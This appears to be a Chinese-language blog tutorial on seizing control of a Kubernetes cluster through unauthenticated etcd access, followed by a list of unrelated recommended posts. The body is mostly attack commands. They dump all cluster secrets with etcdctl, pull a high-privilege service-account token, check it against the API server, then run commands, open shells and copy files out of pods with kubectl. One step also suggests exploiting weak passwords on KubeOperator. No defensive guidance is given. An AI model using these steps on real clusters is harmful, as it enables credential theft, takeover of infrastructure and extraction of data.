etcd未授权到控制k8s集群

在安装完 K8s 后,默认会安装 etcd 组件,etcd 是一个高可用的 key-value 数据库,它为 k8s 集群提供底层数据存储,保存了整个集群的状态。大多数情形下,数据库中的内容没有加密,因此如果黑客拿下 etcd,就意味着能控制整个 K8s 集群。

etcd 未授权访问

如果目标在启动 etcd 的时候没有开启证书认证选项,且 2379 端口直接对外开放的话,则存在 etcd 未授权访问漏洞。

访问目标的 https://IP:2379/versionhttps://IP:2379/v2/keys,看看是否存在未授权访问。如果显示如下,则证明存在未授权访问。

1.查找token

需要使用到 etcd 命令行连接工具:etcdctl

由于 Service Account 关联了一套凭证,存储在 Secret 中。因此我们可以过滤 Secret,查找具有高权限的 Secret,然后获得其 token 接管 K8s 集群

bash 复制代码
#查找所有的secret
ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://172.16.200.70:2379/ get / --prefix --keys-only|sort|uniq| grep secret

从返回的数据中挑选出一个具有高权限的 role 并读取其 token,以 /registry/secrets/kube-system/dashboard-admin-token-c7spp 为例,其中 kube-system 代表 namespace、dashboard-admin 是 clusterrole

bash 复制代码
#查找指定secret保存的证书和token
ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://172.16.200.70:2379/ get /registry/secrets/kube-system/dashboard-admin-token-c7spp

复制 token,最后的 token 为 token? 和 #kubernetes.io/service-account-token 之间的部分

如果机器上安装了 KubeOperator 存在弱口令,登录之后可以在集群中获取管控 token

如果不知道 server api 可以通过 webkubectl 获取

bash 复制代码
kubectl cluster-info

2.验证token有效性

bash 复制代码
curl --header "Authorization: Token" -X GET https://172.16.200.70:6443/api -k

3.使用 kebuctl 去执行命令

这里直接指定 token 去执行命令,或者可以通过制作配置文件指定配置文件来执行但是比较复杂

bash 复制代码
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[ey...]" -n kube-system get pods

kebuctl 常用命令

bash 复制代码
# 查看所有的资源信息
kubectl get all
kubectl get --all-namespaces
# 获取pods列表
kubectl get pods -o wide --all-namespaces
-n 指定命令空间
-o wide 展示详细信息
# 执行命令
kubectl exec -it podsname -n namespace -- command
-- bash 进入 shell
# 下载文件
kubectl cp -n 命名空间 pod名字:/data/1.hprof(在pod中要下载文件的路径) (本地保存文件的路径)

学习文章

相关推荐
Zixhy3 小时前
手撕Reactor模型实现同步高并发服务器及Muduo网络库深入解析
linux·服务器·网络·数据库·c++
程序员清风10 小时前
Java 后端高并发设计:线程池、限流、熔断与降级
java·数据库·oracle
天衍四九-10 小时前
MySQL中如何定位慢查询?如果SQL语句执行很慢,如何分析和优化?
数据库·sql·mysql
尚久龙10 小时前
mysql-5.7.26-winx64的安装步骤
数据库·mysql
医疗信息化王工10 小时前
DataForge:基于 Python 的数据库批量导出 Excel 工具——从架构到部署的全流程实战
数据库·python·excel
实心儿儿10 小时前
MySQL 的安装
数据库·mysql·adb
程序员阿鹏12 小时前
为什么MySQL InnoDB选择B+树?
数据结构·数据库·b树·sql·mysql·算法·缓存
瀚高PG实验室13 小时前
使用pg_stat_statements抓取数据库TOP SQL
数据库·sql·postgresql·瀚高数据库
yanwumuxi15 小时前
【数据库系列】opensearch数据备份和恢复
数据库
anxiao_m15 小时前
2026企业AI数字孪生选型攻略,不同场景对应不同解决方案
大数据·网络·数据库